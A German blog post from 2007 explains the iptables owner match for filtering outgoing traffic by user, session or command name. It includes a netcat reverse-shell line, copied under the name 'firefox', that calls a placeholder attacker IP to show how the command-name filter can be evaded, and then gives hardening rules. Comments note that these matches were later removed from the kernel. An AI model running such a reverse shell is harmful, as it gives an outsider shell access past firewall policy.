Der Owner-Match von Iptables: Stärken und Schwächen

Strict Standards: Non-static method serendipity_plugin_api::hook_event() should not be called statically in /www/htdocs/w0072ee3/blog/include/functions_smarty.inc.php on line 541

Strict Standards: Non-static method serendipity_plugin_api::get_event_plugins() should not be called statically in /www/htdocs/w0072ee3/blog/include/plugin_api.inc.php on line 1007

Der Owner-Match von Iptables: Stärken und Schwächen

24 08 2007

Das man mittels Iptables mächtige Firewall-Regeln aufstellen kann ist keine neue Sache und den meisten Administratoren auch bekannt. Doch Iptables steckt voller Überraschungen, so kann man bei ausgehenden Paketen neben den Protokoll spezifischen Eigenschaften (bei TCP wären es z.B. Quell-Port/-Adresse sowie Ziel-Port/-Adresse, TTL, FLAG, etc.) auch die User-ID(UID), die Group-ID(GID), die Process-ID(PID) sowie die Session-ID(SID) des Programms von dem das Paket stammt prüfen und Regeln dem entsprechend aufstellen.

Die Technik, die sich dahinter verbirgt wird als Owner-Match bezeichnet. Wie oben schon erwähnt greift der Owner-Match nur bei ausgehenden Pakete, welche man selber erzeugt hat, genauer nur in der OUTPUT-Kette.
Neben den oben genannten Features von Iptables, bieten neue Versionen von Iptables auch die Möglichkeit Filter auf dem Kommandonamen anzuwenden.

Die Optionen die der Owner-Match zur Verfügung stellt, sind in nachfolgender Tabelle aufgelistet:

Es sei noch darauf Hingewiesen, das die letzten drei Optionen (<pid>,<sid>,<cmd>) auf Symmetrischen Multiprozessorsystemen (kurz SMP) defekt sind und somit dort nicht laufen.

Nun sehen wir uns noch ein paar weitere praktische Beispiele des Owner-Matches an, die uns bei der täglichen Arbeit helfen sollen. Als Szenario sei die Situation gegeben, das man einen Terminalserver mit vielen verschiedenen Benutzern betreibt und nur bestimmten Benutzern der Verbindungsaufbau ins WAN (z.B. dem Internet) erlaubt werden soll. Durch den Owner-Match hat man die Möglichkeit jeden einzelnen Benutzer mittels der User-ID den Zugriffs ins WAN zu erlauben (-j ACCEPT) oder zu verwehren (-J REJECT):

root@gentoo:~ # iptables -A OUTPUT -m owner --uid-owner 314 -m state --state NEW -j REJECT
root@gentoo:~ # iptables -A OUTPUT -m owner --uid-owner 315 -m state --state NEW -j ACCEPT
root@gentoo:~ # iptables -A OUTPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
root@gentoo:~ # iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEP

Nehmen wir an, das der Benutzer mit der User-ID 314 Herr Müller ist und der Benutzer mit der User-ID 315 der Herr Maier. So wie die Regeln jetzt oben zu sehen sind, darf nur Herr Maier Verbindungen ins WAN aufbauen und führen. Herr Müller hingegen wird der Zugriff ins WAN verwehrt. Wenn man nun Herrn Maiers seine Verbindungen noch weiter einschränken möchte, z.B. das er nur noch im Internet mit dem Browser Firefox surfen darf, so kann man sich die Fähigkeiten des cmd-owner-Matches zu nutze machen:

root@gentoo:~ # iptables -A OUTPUT -m owner --uid-owner 315 --cmd-owner firefox -p tcp -m multiport \
--dport 80,443 -m state --state NEW -j ACCEPT

Mit dieser Abänderung kann Herr Maier nur noch mit dem Browser Firefox TCP-Verbindungen auf den Port 80 (HTTP) sowie 443 (HTTPS) aufbauen. Nicht berücksichtigt sind hier DNS wie auch andere Kleinigkeiten, die hier aber auch nicht zur Diskussion stehen.

Hinweis:

Alle hier genannten Firewall-/Filter-Regeln stellen nur Ausschnitte aus vollständigen Firewall-Scripten da, die als gegeben vorausgesetzt werden. Nur die relevanten Informationen zum Owner-Match werden aufgeführt. Wer sich ernsthaft mit dem Netfilter-Paket und somit auch mit Iptables auseinander setzen möchte, dem sei das Buch "Linux-Firewalls mit iptables & Co." empfohlen.

Auch wenn der obige Ansatz auf dem ersten Blick relativ sicher aussieht, so kann man den Abgleich des Kommandonamens sehr einfach unterlaufen:

maier@gentoo:~ $ cp /bin/nc ~/firefox
maier@gentoo:~ $ ./firefox -e /bin/sh <ip-angreifer> 80

Diese einfache Kopie von netcat, ermöglicht es Herrn Maier, es für Iptables so aussehen zu lassen, als würde er wie in seiner Richtlinie festgelegt, mit Firefox surfen, doch in Wirklichkeit öffnet er einen externen Angreifer einen Zugang ins interne Netz. Der Grund wieso hier der Owner-Match (genauer der cmd-owner-Match) nicht greift liegt daran, das nur der Kommandonamen überprüft wird und dieser bleibt ja bestehen. Abhilfe schaffen hier nur genauer Restriktionen auf Dateisystemebene sowie das Verwenden der PID oder SID. Allerdings muss man bei Programmen, welche nicht als Daemon (Server-Dienst) fungieren wohl eher auf Restriktionen auf Dateisystemebene zurückgreifen, da sich PID wie auch SID beim Neustarten des Programms nicht immer gleich sein muss. Ein Beispiel für die Verwendung von der SID ist folgende:

statt
root@gentoo:~ # iptables -A OUTPUT -m owner --cmd-owner apache2 -j REJECT
sollte man
root@gentoo:~ # iptables -A OUTPUT -m owner --sid-owner $(ps -eo sid,args |grep apache2 |head -n 1 |cut -b 1-5) \
-m state --state NEW -j REJECT
verwenden

Diese einfache Befehlsfolge, welche den Verbindungsaufbau des Apache-Webservers unterbindet (um z.B. Reverse Verbindungen wie CGI Reverse Shells zu verhindern), kann man noch ein wenig verfeinern bzw. restriktiver setzen:

#!/bin/sh
IPT=/sbin/iptables
UID=$(id -u apache) #auf manchen Systemen auch als www-data
SID=$(ps -eo sid,args |grep apache2 |head -n 1 |cut -b 1-5)

$IPT -A OUTPUT -m owner --uid-owner $UID --sid-owner $SID -m state --state NEW -j REJECT

Jetzt findet nicht nur der Abgleich auf die Session-ID statt, sondern auch noch zusätzlich auf die User-ID.

Wie man sieht, ist der Owner-Match von Iptables eine praktische wie auch mächtige Option, um ausgehende Pakete sehr detailliert zu filtern.

Kommentare : 2 Kommentare »
Kategorien : IT-Security
Trackbacks : Keine Trackbacks »

Trackbacks

Trackback für spezifische URI dieses Eintrags

Strict Standards: Non-static method serendipity_plugin_api::hook_event() should not be called statically in /www/htdocs/w0072ee3/blog/include/functions_comments.inc.php on line 385

Strict Standards: Non-static method serendipity_plugin_api::get_event_plugins() should not be called statically in /www/htdocs/w0072ee3/blog/include/plugin_api.inc.php on line 1007

Strict Standards: Only variables should be assigned by reference in /www/htdocs/w0072ee3/blog/include/functions_smarty.inc.php on line 73

11 08 2009: PingBack

Weblog: blog.babeltech.de
Aufgenommen: Aug 11, 22:05

Kommentare

Ansicht der Kommentare: (Linear | Verschachtelt)

Strict Standards: Non-static method serendipity_plugin_api::hook_event() should not be called statically in /www/htdocs/w0072ee3/blog/include/functions_comments.inc.php on line 292

Strict Standards: Non-static method serendipity_plugin_api::get_event_plugins() should not be called statically in /www/htdocs/w0072ee3/blog/include/plugin_api.inc.php on line 1007

Strict Standards: Non-static method serendipity_plugin_api::hook_event() should not be called statically in /www/htdocs/w0072ee3/blog/include/functions_comments.inc.php on line 385

Strict Standards: Non-static method serendipity_plugin_api::get_event_plugins() should not be called statically in /www/htdocs/w0072ee3/blog/include/plugin_api.inc.php on line 1007

Strict Standards: Non-static method serendipity_plugin_api::hook_event() should not be called statically in /www/htdocs/w0072ee3/blog/include/functions_comments.inc.php on line 385

Strict Standards: Non-static method serendipity_plugin_api::get_event_plugins() should not be called statically in /www/htdocs/w0072ee3/blog/include/plugin_api.inc.php on line 1007

Strict Standards: Only variables should be assigned by reference in /www/htdocs/w0072ee3/blog/include/functions_smarty.inc.php on line 73

23 10 2007: #1 Meik (Antwort)

Wurde pid,sid,cmd matching nicht schon 2.6.14 aus der kernel entfernt ?
2.6.22 : ipt_owner: pid, sid and command matching not supported anymore
29 10 2007: #1.1 Daniel (Antwort)

Hallo Meik,

vielen dank für deinen Hinweis, es scheint tatsächlich so, das der Owner-Match aus dem Kernel entfernt wurde und das seit der Version 2.6.14.
Da ich diesen Artikel schon vor längeren geschrieben habe, kann ich leider nicht sagen, um welche Kernel-Version es sich bei mir gehandelt hatte.
Der Match of SID,PID und auf Kommando-Namen werden somit nicht mehr unterstützt.
Als mögliche Alternative könnte man dann z.B. zu http://www.nufw.org/-English-.html greifen, welches z.B. den ip_queue_vwmark Patch einsetzt um zu filtern.

Gruß
Daniel

Kommentar schreiben

Name

E-Mail

Homepage

Antwort zu

Kommentar

Umschließende Sterne heben ein Wort hervor (*wort*), per _wort_ kann ein Wort unterstrichen werden.

Standard-Text Smilies wie :-) und ;-) werden zu Bildern konvertiert.

Die angegebene E-Mail-Adresse wird nicht dargestellt, sondern nur für eventuelle Benachrichtigungen verwendet.

Daten merken?
Bei Aktualisierung dieser Kommentare benachrichtigen

Kommentare werden erst nach redaktioneller Prüfung freigeschaltet!

Der Owner-Match von Iptables: Stärken und Schwächen